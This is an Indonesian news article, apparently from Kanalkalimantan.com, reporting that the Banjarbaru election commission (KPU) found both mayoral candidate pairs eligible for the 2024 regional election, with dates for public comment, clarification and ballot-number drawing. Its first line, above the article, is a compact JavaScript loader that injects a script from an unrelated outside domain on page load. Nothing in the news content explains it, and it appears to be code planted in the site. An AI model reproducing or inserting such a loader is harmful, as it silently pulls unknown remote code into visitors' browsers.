(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dua bakal pasangan calon (Bapaslon) Pilkada Kota Banjarbaru dinyatakan memenuhi syarat untuk bisa melanjutkan pencalonan sebagai wali kota dan wakil wali kota dalam Pilkada Serentak 2024.
Hasil itu diumumkan oleh KPU Kota Banjarbaru pada Sabtu (14/9/2024) siang.
Ketua KPU Banjarbaru Dahtiar mengatakan, sebelumnya telah melakukan penelitian terhadap perbaikan berkas syarat dan persyaratan yang diajukan oleh masing-masing Bapaslon melalui tim parpolnya.
“Dengan hasil penelitian administrasi bakal calon pasca perbaikan, maka pada hari ini kita umumkan bahwa kedua bakal paslon di Kota Banjarbaru dinyatakan memenuhi syarat,” ujar Ketua KPU Banjarbaru Dahtiar saat diwawancarai, Sabtu (14/9/2024) siang.
Baca juga: Bawaslu Kalsel Buka Seleksi Ribuan PTPS Awasi Pemungutan Suara
Dalam proses perbaikan itu, kedua Bapaslon melakukan perbaikan terhadap visi-misi untuk mencalon sebagai kepala daerah di Ibu Kota Provinsi Kalimantan Selatan.
“Perbaikannya terkait visi-misi, hanya itu saja,” ungkapnya.
Sedangkan untuk tahapan selanjutnya, keabsahan dari berkas syarat dan persyaratan itu akan ditanggapi oleh masyarakat pada 15-18 September 2024.
Baca juga: Peringatan Hari Pramuka Ke-63, Saidi Mansyur Dilantik Sebagai Ketua Kwarcab Kabupaten Banjar
“Selanjutnya kita akan memberikan kesempatan tanggapan dan masukan dari masyarakat terkait keabsahan berkas persyaratan tersebut,” jelas dia.
“Kemudin dilanjutkan dengan masa klarifikasi sampai dengan tanggal 21 September setelah itu baru penetapan di tanggal 22 September 2024,” sambung Dahtiar.
Setelah Bapaslon ditetapkan pada 22 September maka pengambilan dan pengundian nomor urut akan dilaksanakan pada tanggal 23 September 2024.
Baca juga: Polres HSU Menggelar Lomba PBB Pelajar
“Nanti teknis tata cara mekanisme untuk tanggapan dan masukan akan kita umumkan di website dan beberapa media cetak dan media elektronik lainnya,” tuntas Dahtiar.
Tanggapan dan masukan ini katanya bisa disampaikan melalui link yang akan KPU berikan ataupun masyarakat bisa datang langsung ke kantor KPU Kota Banjarbaru. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.